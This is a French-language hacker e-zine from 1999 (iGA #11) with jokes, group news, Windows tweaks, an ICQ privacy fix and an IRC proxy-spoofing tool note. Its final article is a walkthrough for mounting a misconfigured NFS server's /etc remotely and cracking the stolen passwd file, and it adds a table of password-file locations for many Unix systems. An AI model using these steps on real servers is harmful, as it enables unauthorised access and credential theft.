

               _________________________________________________________
              /   .                     ,      iGA Issue #11 [99/06]  ,/
             /________________________________________________________/
            ____  ____     ____    ________ ________ _______________
           /    /    /   /    /   / .     /      ,  /    __    /    /
          /   ,/  . /   /    /   /   ____/    ____ /    /_/ . /    /
         /    /    /___/    /___/   ____/    /    /    __    /    /___
        /    /        /  ,     / .     /    /_   /    / /   /    .   /
       /____/________/________/_______/_________/____/ /___/________/
        _________ ________   __________ ___    ____  _________ _______ ____
       /         /   __   / /.   __    / , \  /    /  ,       /    .  /    \
      /    _____/   /_/  / /    /_/   /     \/    /__  .  ___/   ____/   _  \
     /    /.   /       _/ /    __    /           /  /    /  /   ____/   /_/  /
    /    /_   /  , /\   \/    / / , /    /\   . /  /    /  / ,     /  . ,   /
   /_________/____/  \__/____/ /___/____/  \___/  /____/  /_______/________/
      ___________ ________ ________ ______  _______        _______    _______
     /.   __    /        /        /    .  /        /      /__    /   /__    /
    /    /_/   /  . ____/  . ____/   ____/   _____/         /   /      /   /
   /    __    /    /___     /___    ____/___     /         /   /      /,  /
  /    / / , /        /        / ,     /      , /  ___  __/ . /__  __/   /__
 /____/ /___/________/________/_______/________/  /__/ /________/ /________/
  
 [iGA - When our logo are not lisible] 
   ... and look like old fashoned 70']



---------------------------------------------------------------------
                       disclaimer for dummies               [Wyzeman]
---------------------------------------------------------------------

5200pxa180510682
fcc : gw 
ut -bd 
94 v -0
r.o.c
  ---->  Maudite carte reseau bastard, J'VEUX UNE 3COM :(

---------------------------------------------------------------------


	IGA #11, le premier mag officielle en collaboration avec TSA,
nous esperons que cette entraide mutuelle, sacroitra  avec  le temps. 
Ca va roxxer cette ete, laisser moi vous le dire.  anyway,  ces  vous 
qui liser, alors jpeu bien vous dire ce que je veux :].  encore   une
fois, nous avons vecu un mois plein de rebondissement.Grande nouvelle
__2 c'est enfin  trouver  une  job  au  grand plaisir de son coloc so 
called  moi  meme,  (enfin  de  l'argent). Donc ne vous etonez pas si 
messir __2 ralentie de quelque peu sa production et ces presence  sur
le net jusqu'a ce que Qwzykx est monter un  robot  pour  remplace  se 
chere __2 (on sais pas encore le quel des 2 ont va envoyer travailler)
Pour ma part, jai passer le mois a gambader a la recherche de groupes
inconues de la scene quebecoise et  jai  vit e compris  pourquoi  ils
etaient inconnus, allez voir vous meme ( #tgc, #uhz, #b7m et les  QHA 
que vous pourrez retrouver au www.qharulez.tsx.org ) tien dite  merci
les amis on vient de vous donnez un ti push publicitaire :]. |JaCKeL|
aussi c'est trouver une job comme tech, y va encore surement   sortir 
l'excuse  qui a pas assez de temps pour ecrire. Qwzykx  pour  ca part
a fini le cegep et a commencer a gosser a  plein temps  sur  ce   que
sera  le  chien  iga,  un entit   electronique   que  vous   pourrez
controler "from the net"  pour  visiter  notre HQ, svp  priere de pas 
entrer dans  ma chambre lorsque jbaise ma blonde ou que jeffectue une
messe voodoo.


N'oubliez surtout pas, le hack de wwwboard est un crime punis par 
emprisonement au etat-unis. (Class B = Felony)


Jai  toujours  pas  payer  mon impot, est-ce que le canada va faire 
faillite, non mais jai limpression de  donner  en  impot la moitier
du budget federal???? est-ce  normal?J'imagine qu'un pays telle que 
Louganda, serait content davoir des contribuable tel que moi :]


A oui,  j'oubliais,  la  nature  premiere du disclaim, est  de nous 
blanchir les mains de toute saleter que vous pouriez faire en lisant
notre magazine ou en vous torchant avec. Donc pour ceux qui suivent
la serie depuis le debut vous pouvez bypasser cette section:


---
il est strictement interdit par des lois federals de commentre 
toute action mettant en doute lintegriter dun systeme informatique
( une genre de charte des droits et liberter cybernetique jimagine )
et blablablablablablabla, tk vous comprennez, faite ce que vous
voulez, tant qu'on a pas rap dans vos gamic, on a asser de trouble
comme ca avec les notres ( msg a legard des agents constabulaire 
moustachu, la derniere phrase netais la qu'a but humoristique et
vous savez aussi bien que nous, ou mieu meme, qu'on est totalement
legal, enfin je crois :] )



Wyzeman one for all, all drink beer 


la GRC vous surveilles???
10 truc pour les decouvrirs.

1)  apres  la  parution de votre 11e E-zine ya une echafaudage 
    pour nettoyer vos vitre alors que vous demeurer au sous-sol 

2)  apres  la parution de votre 11e E-zine, Un technitien vien
    verifier votre telephone et y insert un micro.

3)  apres la parution de votre 11e E-zine, Un  plombier  vient 
    verifier le PH de votre eau de toillette.

4)  apres la parution de votre 11e E-zine, vous appercevez une
    caravane avec une skin de truck de poubelle venir fouillez
    vos dechet quotidien. 

5)  apres la parution de votre 11e E-zine, des temoins jehova
    se presente a votre porte a tout les 10 min.

6)  apres la parution de votre 11e E-zine, le bar dans lequelle
    vous allez toujours veillez est maintenant vide mi a par le
    type au lunette fumer assis dans le fond. 

7)  apres la parution de votre 11e E-zine, on construit un dunken
    donut a coter de chez vous. 

8)  apres la parution de votre 11e E-zine, on fait un gros champs 
    de construction deriere chez vous ou tout les travailleurs 
    porte un skin de veston cravate.

9)  pendant la redaction de ce 11e E-Zine, ya 2 gros policier 
    poilu qui se presente a votre porte avec des menotes.

10) apres la parution de votre 11e E-zine, binf vous revele
    sa reel orientation sexuelle [so scarred]




quote from Wyzeman
( hum, dire que si javais poursuivie des etudes en politique au lieu 
de lacher apres 2 mois de sc.humaine, la planete aurais suremement un 
gouvernement mondial.... dire que l'humaniter va continuer de souffrir
pour cause du systeme scolaire quebecois deficient ....)




                                 IGA CreW



            IGA JUDHA (Kebek)                  TSA Members (all around the world)

            il sagit ici des                   Nouvellement  
            fondateur de IGA                   fusionner a IGA 
                         


            __2          (IGA)                 Onyx       (TSA)   
            Wyzeman      (IGA)                 Nitrogen   (TSA)
            Qwzykx       (IGA)                 DECdeamon  (TSA)     
            |Jackel|     (IGA)                 Putois     (TSA)
            Bozzo        (IGA)                 |jideel|   (TSA)
            Data-X       (IGA)                 

                      
                              collaborateur

            Qderf        (IGA)                 Nuclear    (IGA)
            FreeQ        (IGA)                 _rix_      (IGA)
            Lefurotte    (IGA)                 Number-    (ind)
            Datacrash    (ind)                 Endrix     (ind)
            Corruptd     (ind)
            Blaksmurf    (ind)
            Werewolf     (ind)


    
          et comme on le dit de par cher FrHACK


<Snowcrach> plus on est de fou plus on rit
            pour les chinois c plus on est de fou, moins on a de riz



"Le bonheur effectif parait toujours assez sordide en comparaison des larges  
compensations qu'on trouve  la misre.  Et il va de soi que la stabilit, en 
tant que spectacle, n'arrive pas  la cheville de l'instabilit.  Et le fait 
d'tre satisfait n'a rien du charme magique d'une bonne lutte contre le malheur, 
rien du pittoresque d'un combat contre la tentation, ou d'une dfaite fatale 
sous les coups de la passion ou du doute. Le bonheur n'est jamais grandiose". 

                                         -Aldus Huxley, le meilleur des monde



NB: Pour runner les progs a __2 vous devez avoir les librairies, dans la section
filez du site web d'iga downloader et installer vb6libs.zip.

---------------------------------
Table des matieres de ce mois-ci;
---------------------------------

Ce mois-ci risque d'etre encore une fois tres interessant, nous avons
rassembler bcoup d'article et je crois que le #11 est le summum pour se
que j'apelle la collaboration, bcoup de collaborateurs se sont donc joint
a nous pour publiez de l'information de qualit. 


I       G        A
------------------
denial montly Ezine
 _____________
|_  _________/
  ||  _  _    _
  || | || \|||_ 
 _______||_______________________________________
| [.OO] @iGA rulez                               [FreeQ]
| [.O1] @La review du mois                       [Qwzykx]
| [.O2] EmuProxy                                 [__2]
| [.O3] @L'espion ICQ                            [NuCleAR]
| [.O4] @Fastest CPU,Fastest reading             [|JaCKeL|]
| [.O5] @Showmount-un-show!                      [Onyx]
| [.O6] @Sec5 MEQ with Hacking                   [(Nuage)]
| [.O7] X/Wlockpicker2 improved for your Fun     [__2]
| [.O8] @NetCat                                  [_rix]
| [.O9] +PRESTO-PACK hacking     (3 buck)        [Wyzeman]
| [.1O] +Anarchie sti                            [Gandalf]
| [.11] +Civilisation o'vision                   [Qwzykx]
| [.12] +JavaScript tutorial                     [Chr|5]
| [.13] +Cgi flaws                               [__2]
| [.14] +Cheating on a Save file                 [Qwzykx]
| [.15] +Programs Cracking                       [_rix]
| [.16] Registries Base four your past time      [|JaCKeL|]
| [.17] API WINSOCKS                             [Nitrogen]
| [.18] Variables of the incredible BIoS         [Qwzykx]
| [.19] First Smashing stack sous Windows        [_rix]
| [.2O] Sygate DOS                               [__2]
| [.21] Phonefucking #9                          [Bozzo]
| [.22] Infopubs                                 [Wyzeman]

Debutons avant quon ai plus ce gout dapprendre.. :}

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.OO]  _|_|               iGA Rules                                
 \_________/_/                 So CalleD                    _ ______ __ _  _
                     When we have rules for RULES         _/_/  [By: FreeQ]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Voici pour vous les ancienes loi perdue d'iga .. celle ki ce sont perdu il y
as des temps immemoriaux dans un grand cataclisme comunement appeler le 
passage du CIH sur le board a Wyze ??? que FreeQ as essayer de vous rendre
dans la plus grande autenticitee possible

IGA RULE #111 every meet will be at the bar "Le Kamarad" or the worst bar in
              Quebec city which of whom will be the most cheapest.

IGA RULE #112 try not to speak the words : crime , murder , husban , or blender
              in front or at  least near the barmaid ... or do it at your own 
              risks 

IGA RULE #128 You must read RULE #572 NoW!

IGA RULE #136 Don't you ever try to read any other E-zine on the net ... you
              could easily find the better than IgA and no one has ever 
              quit IgA alive

IGA RULE #195 the adoption a a new rule require a vote between the "Staff" 
              member ; the vote require an answer of the unanimity + 1 voice
              for the new rule to be adopted.

IGA RULE #275 never should you join any gay channel while logging on #GRC , 
              cuz some peoples scan AND log the channel for blackmail issue
              (watch you visitor_x)

IGA RULE #286 you wont have any "sexual" intention toward Nuage unless you
              are ready to face the dreadfull wyzeman and his dark beast 
              called Pontiac.

IGA RULE #323 Never try to use any cracking software (bruteforce or others)
              on physical objects such as but not limited to : your neighbor,
              your fridge, the cop on the other side of the door or a Black
              manual Suzuki Swift. 

IGA RULE #335 You win a new car! ...                                    NOT!

IGA RULE #379 Anyone who would be found guilty of attempted suicide will 
              meet death sentence !

IGA RULE #391 Don't foget to brush your teeth before after and while your 
              midnight lunch to fight cavities and gengivitis ...

IGA RULE #435 while at a meet none of the "not staff" can be drunkier than
              a "Staff IgA" member ... if it happen the drunk "not staff" 
              must repay enough booze to the "Staff" member so he can 
              restabilise the situation .

IGA RULE #436 if smoking illegal substance occure while at a meet only 
              Wyzeman can sleep on couch in the lounge .

IGA RULE #572 goto RULE #792

IGA RULE #579 while at a meet or a LAN party you are responcible of yourself
              ,your behavior ,your guest and your beer ;so if __2 stole one
              of your beer you are still responcible if he drop it in the 
              jackel's box !

IGA RULE #612 the ranking and evolution inside the "staff IgA" and "not 
              Staff" member of IgA will be marked in points , the points are
              given by merite and mental achivement that help the groupe as
              a whole , these points can also be bought with beer , food and
              illegal substaces to the "Staff" at the meets .

IGA RULE #630 while attending a meet a sheep of minor age canot be allowed
              to wander around __2 or wyzeman's chamber .

IGA RULE #747 if you order a pizza you must be absolutely certain to have 
              the right $ to pay or that you can eat it in less than 10 sec
              then outrun the delivery car .

IGA RULE #792 you are near the end ... meet us at #335
IGA RULE #834 to achieve his Rite of Passage a new IGA "Staff" member must 
              complete a Quest to search and fetch a fetish (any piece of at
              least 5cm3 or 2oz) from the car of Visitor_X . the Quest canot
              be completed at a meet or a LAN party.

IGA RULE #836 __2 thou must obey unless thou will join #hack.fr and be 
              damned for ever with other tourmented soul such as but not
              limited to : Satan , God , Patrick Normand , La Famille 
              Dareche & Snowcrash

IGA RULE #926 ever try to close #GRC before starting a chat with your boss 
              on ICQ , miss pasting is a common and miserable cause of 
              layoff.

 ___________________
[Quotes of the month]\____________________________
[Mr.Net n'a pas voulu du Hack.Fest
[Gregorie de "PointCom" n'a pas voulu changer le board de Wyze! [Fucking CiH]


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O1]  _|_|           iGA Review of Month                     
 \_________/_/                 So CalleD                    _ ______ __ _  _
                     When we have rules for RULES         _/_/ [By: Qwzykx]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



Et c'est sur une aire de Depeche Mode que cet article s'crit...

Suite a plusieurs demandes virtuelles, des demandes virtuel,  j'ai 
dcider d'crire sur ce que IGA  reprsente  vraiment,  en  somme,
ce  que  IGA est dans un milieu ou l'oxygne est  21%, l'azote  
78% et  autres gaz 1%. Dans cet univers  ou  le  hacking se fait 
l'aide de fourchette dans  un  vido.  Donc  en gros  afin  de  me 
backer un article facile mensuellement (un peut  comme  les  infos
pub a Wyze) dans cet article vous dcouvrirez  peut  tre pourquoi
iGA est si fort, du moins moralement. Comme  la plus  part de vous 
nous connaissez surtout sur IRC et avez peur de  vous prsenter  
nous sous quelques formes que ce soit, nous vous prsenterons iGA,
ce mois-ci.

Le groupe iGA de son nom, se rencontre    chaques  semaines  dans
un pittoresque bar de la basse rgion de  Qubec,  mais sa vous le
saviez dj je crois non!? Ces rencontres  durent  gnralement 6h
ou le  temps est  ralentit  par  les  effets  plutt  tranges  de
l'alcool.  Ces rencontres on  dj  attirer  des personnes plus ou
moins importantes  on  pense   Maniak, moi-mme,  quelques  "old"
hackerz peut-tre un gars de la GRC spoofer en Mr. Presonality, la
fille d'un ovni, un agent secret  quoi  prenait __2  pour  BORICE,             Ici on voit une 
somes gigolos who sherch a ogly old no money girls sans oublier le             glitch non word
classique Jap's in a bell phone.                                               warper ne me    
                                                                               remercier pas 
Mais la je vais parler de ce mois-ci, comme je disais. Le dbut du mois     <--j'ai juste pas le
  commencer par de gnreux "Eil c'est votre meilleur" d'un  peut             temps de la re-
partout  sur le net, aprs ce small boust for an other, vous voyez             fouttre dans le txt
le  rsultat  (le  support  de  cet  article).  Mais  derrire cet                        |
article, il y a tellement plus que rien, derrire cet article il y a des gens qui on   <--' 
crut en nous, des personnes qui se sont dvouer, qui ont donner de leurs
temps afin qu'on passe de la cote C- de Maniak.net   la  cote  A!
Mais il y a aussi autre chose que vous verrez en  grande  premire
dans le numros 12 de IGA (le dernier de l'anne, du moins de l'an
de vie d'iGA car comme vous le savez,c'est vers le mois de Juillet
qu'on c'est mit  penser  ce que  vous  connaissez prsentement).
Je garderai donc les GREAT TANKS pour le  prochain Zine.  Pour  en
revenir au mois qui passait, le iGA real  live team  a fait  comme
s'en ait devenu une habitude, quelques  LAND  FEST  a  la  Quake 2
/ Starcraft, on a encore en mmoire le dernier  ou  Qwzykx  et __2
avec  le  support  technologique  mobile  de  JaCKeL,  sont  aller
commander au respectable heure du 2h30  AM un  trip  BK,  soit  15
Wopper Juniors d'on le prix a t  calcul  affectueusement    la
calculatrice! De plus on a reu quelques review sur  des,  disons,
ancienne fabulations mais temps que c'est pas  confirmer,  je  dis
rien, au simples lecteurs, vous voyez ici l'utilit d'tre dans le
iGA real world life! On a aussi tester pour la  premire  fois  le
prototype du prototype du chien iGA remercions Qwzykx c'est  dire
moi-mme ainsi que __2 qui  devra  over  coder  un  client  et  un
serveur disons plus flexible. Remercions aussi Data-X pour  le 1st
user de la machine,disons plutt le premier user de l'intelligence
aussi vtuste du cerveau du de la machine. On a aussi en cours  de
dveloppement un open accs a disons quelque chose  de  priver qui
est  en  cours  de,  disons  criture,  et  pour  terminer,   nous
essaierons dans le  courant  du  prochain  mois  un  nouveau  type
d'emploi de disons,gestion de page web de type a vous servir d'une
seule main! Ensuite, quoi de  neuf.. ha  oui  notre  coder  __2  a
encore pousser son Gibson OS a neuf ou presque, en nous promettant
quelque chose encore plus kick-Ass, FreeQ s'est trouver  l'heureux
propritaire d'un poste de radio le jeudi soir entre minuit  et  X
heures! Qderf est pus capable de voir  du StarWars et Wabun arrte
pas de faire des avances a __2!

Comme il arrive 3h, je dois parfaire mon doit   la vie  et  aller
couper le gazon chez  si vous  aimer  les  trip  real  life,  bien
celui-ci s'applique a cette article car durant la prochaine heure,
je serais outside a tondre le gazon  tandis que cet  article  sera
sur mon ordi, hoster par windows 95  updater  Lite Step,  avec  un
background cut and paste de huit pics  de  Sarah  Michelle  Gellar
fait ou plutt dcoup par moi-mme qui  sera  ultimement  balayer
par un screen saver de microsoft plus "Science", tandis que  joura
en 22 Hz sur mon winamp une batch de  1h40m:17s  de  Depeche  Mode
song je vous laisse donc penser et croire que ceci est  vrai,  car
ceci est VRAI! Donc a tous les exotrique exprimental de la pense
voyante, ne chercher plus la vrit! Je vous laisse  donc  sur  la
toune avec la quelle j'ai cris la premire phrase de cet article:
Love, In Itself de DM runtime: 4:29.

Me revoil de retour aprs une prouvante session  de  Tiny  Grass
Cutter. Et si on reparlait du dernier mois.. ha oui, Wyze a  aussi
continuer son rle de diplomate en allant  trouver / recruter  les
autres groupes de hack "Underground" et c'est effectivement le bon
mot! On voudrait aussi remercier les voisins d'en bas  pour  leurs
comprenions et leur faon de dormir. Prsentement, iGA se  lancera
peut-tre je dis bien peut-tre dans une industrie qui  rapportent
dj des milliards, le cinma, avec  des production du  genre Star
Warz, the pablum mess ou le Rez-de-chausse qui nous  montrera __2
voyagent dans des univers virtuels a l'aide d'indigestion de dner
kraft. Mais tous ca n'est que  fabulation  vous  l'aurez  srement
deviner. En somme on ne manque pas de projet  dvelopper pour  le
prochain mois et comme vous  le voyez,  c'est  peut-tre  trop  de
projet pour du monde rel penserez-vous, et vous  aurez  peut-tre
raison, mais justement, c'est ca iGA, de la fabulation et du  rve
en conserve aussi, c'est ca qui unis le  groupe:  chaque  personne
veut s'impliquer en mme temps dans tous ces projets qui ne feront
qu'apporter  ce monde ridicule une dose de stupidit de plus.



                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O2]  _|_|               EMUPROXY
 \_________/_/                 So CalleD                    _ ______ __ _  _
                             Whats this crap?            _/_/    [By:__2]    \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


-----------------------------------------------------------
[000]   EmuProxy, whats is this crap?                 [__2]
-----------------------------------------------------------


Comme ma participation a se mag va plutot se resumer au
packet de programme qui vienne avec, je vais donc vous sortir
tout les petits tuteurs pour le bienfait de leurs utilisations,
ici nous parlerons du programme emuproxy. Tout les fichiers
[programmes] sont disponible via notre site web, bien entendu.
Cela aurait ete une bien pietre idee de les ajouters a nos 
magazines. 


Donc Emuproxy, quest-ce que cest encore ca? Certains ont lus
le dernier magazine? Je parle du #10? Il contenait un petit
programme, un denommer proxy telnet. Il permettait a son 
usager de pouvoir se connecter sur nimporte quel service 
internet [irc/telnet/ftp par exemple] a l'aide de proxies
(du sp00fing).  EmuProxy est maintenant une version ameliorer
orienter IRC seulement. 


MIRC n'a pas ete concu pour exploiter les proxies et donc de
ce fait ne rend pas la chose bien simple. Vous pourriez donc
par exemple controler le tout via des DCC-bots, c'est pas 
tres facile a utiliser et surtout pas tres esthetique. Donc
voila qu'EMUPROXY va vous permette de vous servir des proxies
comme de banales wingates.


Emuproxy creer une couche entre vous et le serveur irc qui
est pas mal transparente vu par MIRC:

1) Vous chargez EMUPROXY
2) Vous ouvrez MIRC
3) Vous configurez votre TARGET: cest le proxy
4) vous configurez le Host IRC : Serveur IRC
5) Vous chargez le service/activer en cochant l'option
6) Vous tapez /server 127.0.0.1 255 pour vous connectez sur
   la passerelle EMUPROXY

7) Des que vous voyez CONNECTED dans le emuproxy vous
   tapez SEND USERNAME que vous aurez biensur configurer

8) Vous attendez :-)

9) vous minimisez Emuproxy au Systray



                                En esperant vous aidez, __2


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O3]  _|_|              L'espion  ICQ                   
 \_________/_/                 So CalleD                    _ ______ __ _  _
                         The spy who shagged me           _/_/ [By: NuCleAR] \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



Plusieurs  personne  comme  moi  possde ICQ... Il s'agit d'un petit
programme entre le e-mail  traditionnel  et  l'irc  pour communiquer
entre 2 personne ou plus. Vous vous demander  srement  ou ICQ prend
l'argent pour faire  fonctionner  leur  serveur  et  leur  quipe de 
technicien ?

J'ai  la  rponse  a  cette  question... ICQ est un vritable espion 
qui collecte tout les programme que vous avez dans votre ordinateur,
leur numro de srie, la date  de  l'installation,  Votre  nom, mais 
ICQ peux aussi trouver votre adresse et votre  numro  de  tlphone
si vous l'avez inscrit  une  seules  places  a  linstallation d'un 
programme ou a une demande de registration.

Voici  un  peut  comment  icq fais pour trouver ces information : Le
tout commence lors  de  auto-update (mise  jour automatique). Quand
ICQ reoit une demande  d'update  il  envoi tout les information sur 
vos  programme  et  les  serial  number  et votre ip a un ordinateur 
spcialement pour ca qui  colleque tout ces information pour ensuite
cre une base de donner sur vous...

Il  y  a  2  remde  pour  ce  problme, le  1e est de simplement de 
dinstaller ICQ.Je trouve la 2e un peut plus avantageuse...il suffit
de d'sactiver la mise a jour...  

Pour cela : 


- Ouvrer Windows
- Dmarrer 
- Excuter
- Tapez "regedit.exe"  sans les " "   et cliquer sur OK
- Cliquer 2 fois sur HKEY_CURRENT_USER 
- Cliquer sur Software
- Cliquer sur Mirabilis 
- Ensuite sur ICQ
- Maintenant sur DefaultPrefs 
- Ensuite sur auto update 
- Il faut mtre la valeur par dfaut dauto update Dans la fentre de 
  droit pour No   au lieux de Yes
- Redmarrer votre ordinateur et le tour est jouer !

Il est  noter que sur certaines version l'auto update    n'es  pas 
installer... Mirabilis  nous  on  dit  que  ce  ntaient  pas   de 
l espionnage alors quesque  lespionnage ?  Mirabilis font ceci que 
dans le bus de revendre ces information  a  microsoft ou a d'autres 
compagnie... si tout vos logiciel on tez acheter en copie original 
vous aurez srement pas de problme mais dans le cas contraire vous 
pouvez avoir de trs gros problme...
  
P.S: Les  changement  naffecteront pas la performance de votre icq 
     en aucun cas...
                                                        


                                                        
                                                NuClEaR 99
                                                admin@info-shell.com
                                                www.info-shell.com
						
                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O4]  _|_|        Quickness on your machine       
 \_________/_/                 So CalleD                    _ ______ __ _  _
                       Un-Valiumize your Windows          _/_/ [By: JaCKeL]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Hehe, un petit article d'acceleration dans un magazine de 
hack ? Pkoi pas ??? Qwz  divague  bien  sur  l'image  des 
calloux dans  des  flaques d'eau !!! Non sans blague, une 
machine  rapide  et  en sant fait de vous un utilisateur 
efficace.

ATTENTION  ces  conseils  sont  pour  les  machines dites
d'utilisation  standard.   Je  ne  suis  pas  responsable
des bugs de certain de  vos  programmes  si  vous essayer
ces  modifications    au  Bureau  si  vous  utilisez  des 
programme dite sur mesure ou tout autre programme   de  a 
votre compagnie.

------ Conseil No 1 ------------------------------------
LIBREZ le PLUS DE MMOIRE POSSIBLE

Depuis  l'apparition  du  DOS  les  2  fichiers essentiel 
CONFIG.SYS et  AUTOEXEC.BAT  ont  une  grande importance.
Mais depuis  WINDOWS 95,  c'est  deux  fichier sont d'une
utilit moindre et se remplisse  de  shit  qui ralenti le 
dmmarage de vote machine.  Backupez  les  sous le nom de
config.iga   et   autoexec.iga  (hehe  belle  plug !!) et 
maintenat ditez les. 

CONFIG.SYS

1. Si vous n'utiliser pas le mode MS-DOS PUR 

   (MS DOS PUR = n'est pas le shell au DOS a partir de
    windows, c'est le dmmarage de votre machine en DOS)

   Il fout dabord comprendre que Windows dmmare 
   automatiquement tout ce qui ai necssaire a son bon 
   fonctionnement. Donc supprimez absolument tout le 
   contenu du config.sys.

2. Si vous utiliser le mode MS-DOS PUR 
   
   Tapez comme premiere ligne :
         device=c:\windows\himem.sys 
   (himem.sys est le gestionnaire de la mmoire XMS)
   
   Rechercher parmis le config.sys votre gestionnaire
   CD-ROM 
     (peut ressembler a quelquechose comme ceci) 
     DEVICE=c:\(quelquechose)\atapi.sys /d:mscd001
   et placez le immdiatement apres la ligne du
   himem.sys.
   Maintenant vous pouvez effacer tous le reste car
   a 98% le reste de la vidange qui si trouve est 
   inutile ou automatiquement dmmar.

AUTOEXEC.BAT

   Tapez comme premiere ligne :
        @ECHO OFF
    ECHO OFF vous empchera de voir toute le loadage 
    de l'autoexec.bat et permettera a votr logo du
    dmmarage Windows de restez jusqu'au dmmarage 
    complet de votre windows.
    Ensuiute gardez seulement les ligne suivant :
        Tous ce qui commence par SET
        Tous ce qui commence par Path
    Maintenant effacez le reste et rebooter.


Si jamais quelque chose tourne mal, replacer vos backup.


------ Conseil No 2 ------------------------------------
Anti-Virus :
 
    Si vous utilisez un anti-virus, il se peut fortement
    qu'il utilise des ressources pour rien. Trouver les 
    configuration de votre anti-virus et aller a la 
    section qui dit a l'anti virus QUAND scanner.
    Par dfault l'anti-virus est actif au :
    dmmarage
    run d'un fichier
    download
    a la copie
    au rename
    a la fermeture
    a la modification 
    a la cration d'un nouveau fichier 
    ...
    
    Pour gagnez un maximum de vitesse, laissez seulement 
    le dmmarage et le download a ON.


------ Conseil No 3 ------------------------------------
Le server mode 
(tres recommander si vous posseder + de 32 meg de RAM)

Le Windows se configure automatiquement pour un maximum de 
32path en mmoire et un maximum de 677 nom de fichier.
Cette limite lui oblige un swap a chaque fois que vous
regardez l'arborescence de vos fichiers, a chaque dmmarage
etc, etc . 

1. WINDOWS 95 OSR2 et +
   
   Bon aller dans 
      Panneau de configuration/system/performances
      sur l'onglet system de fichier cliquer sur
      disque-dur et slectionner server Rseau.
   Meme si vote ordinateur n'est pas un serveur 
   rseau, ceci augment la path cache a 64 path
   et le filename cache a 2,729.

   

2. WINDOWS 95 a

Faites les tapes plus haut et corriger un bug de
vote windows en suivant les tapes suivantes :

Utiliser REGEDIT pour acceder a vote base de registre
changez les valeurs daans
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
  \FSTemplates\Server\NameCache    par  a9 0a 00 00 
et les valeurs dans
  \PathCache a 40 00 00 00
    

                                           \JaCKeL\

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.O5]  _|_|         Le bon vieux showmount             
 \_________/_/                 So CalleD                    _ ______ __ _  _
                         The spy who shagged me           _/_/  [By: Onyx]   \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


1. Introduction:
----------------
Bon,    pour  mon  premier   article   dans  iGA  je  vais
vous parlez du  bug  showmount.  C'est  assez  vieux comme 
faille mais j'ai jamais vu d'article en  francais  traiter 
de ce sujet. Bon assez parler pour  rien dire, on commence 
!!! Tout d'abord il faut que  la  cible  ai le service NFS 
d'install.

2. Explications:
----------------
Pour  ceux  qui  ne  savent pas ce qu'est NFS je vais vous 
l'expliquer: Le Network File System (NFS)  est  un systme 
de   fichiers   rparti  qui  permet    des  utilisateurs 
d'accder  des fichiers et  des rpertoires  situs  sur 
des ordinateurs  distance et de traiter ces  fichiers  et 
rpertoires comme s'ils taient locaux.

Le NFS fournit ses services par un rapport client-serveur. 
Les ordinateurs qui font leurs systmes de  fichiers,   ou 
des rpertoires, et d'autres ressources disponibles   pour 
l'accs  distance s'appellent les serveurs.   L'acte   de 
rendre des systmes de fichiers   disponibles    s'appelle 
exportation. Les ordinateurs, ou  les   processus   qu'ils 
excutent, qui utilisent les ressources d'un serveur  sont 
considrs des clients. Une fois qu'un client monte     un 
systme de fichiers qu'un serveur exporte, le client  peut 
accder aux diffrents fichiers du serveur   (l'accs  aux 
rpertoires exports  peut   tre   limit   aux   clients 
spcifiques).

3. La Nature du bug showmount:
------------------------------
Ce  bug  provient  d'une mauvaise configuration du systme 
NFS sur la machine   serveur,  ce  qui permet au client de 
monter le rpertoire /etc sur un quelconque shell unix.

4. Comment Exploiter le bug:
----------------------------
Sous un shell unix, saisissez la commande: 

showmount --all ip

Normalement ca va vous donner tous les rpertoires 
montables. Ensuite crer un rpertoire ou vous 
dsirez monter le bug.

Aller dans votre rpertoire racine /
et crer un rpertoire: mkdir showmount

Ensuite pour exploiter le bug utiliser la commande:

mount -a www.domaine.com:/etc /showmount

La commande "mount" permet de monter une partition, 
un cd-rom ou encore un lecteur de disquette, 
local ou  distance.

Si ca marche c'est que vous avez russi ;)
Et vous tes maintenant sur le disque dur 
de la machine.

Ensuite aller dans le rpertoire ou vous avez
monter le bug: cd /showmount
et faite un "ls" pour voir les fichiers.

Maintenant il ne vous reste plus qu' rcupr
le fichier passwd dans /etc et de le cracker.

Voil, il reste encore  trouver un serveur avec ce 
genre de bug, il y'en a pas beaucoup mais ca existe !

5. Commandes unix de bases:
---------------------------
La plupart des commandes du DOS ont des quivalents 
sous unix et linux. Ci-dessous quelques unes des commandes 
principales dont vous aurez besoin pour utiliser un shell
unix.

Dos     Unix
---     ----
CD   =  CD
DIR  =  LS
COPY =  CP
MOVE =  MV
DEL  =  RM


6. Quelques Rappelles:
----------------------
Bon j'ai fais encore un petit rcapitulatif des chemins 
d'accs ou l'on trouve les fichiers passwords.

(c'est les rpertoires par dfauts, c'est clair que
vous ne les trouverez pas forcement l.)

Type de Unix:           Chemin:                         Marque:
-------------           -------                         -------
Linux 1.1               /etc/shadow                     *
SunOS4.1+c2             /etc/security/passwd.adjunct    ##username
SunOS 5.0               /etc/shadow
System V Release 4.0    /etc/shadow                     x
System V Release 4.2    /etc/security/* database 
AIX 3                   /etc/security/passwd            !
        ou              /tcb/auth/files/<premire       #
                        lettre du username>/<username> 
A/UX 3.0s               /tcb/files/auth/?/              *
BSD4.3-Reno             /etc/master.passwd              *
ConvexOS 10             /etc/shadpw                     *
ConvexOS 11             /etc/shadow                     *
Ultrix 4                /etc/auth[.dir|.pag]            *
UNICOS                  /etc/udb                        *
HP-UX                   /.secure/etc/passwd             *
IRIX 5                  /etc/shadow                     x
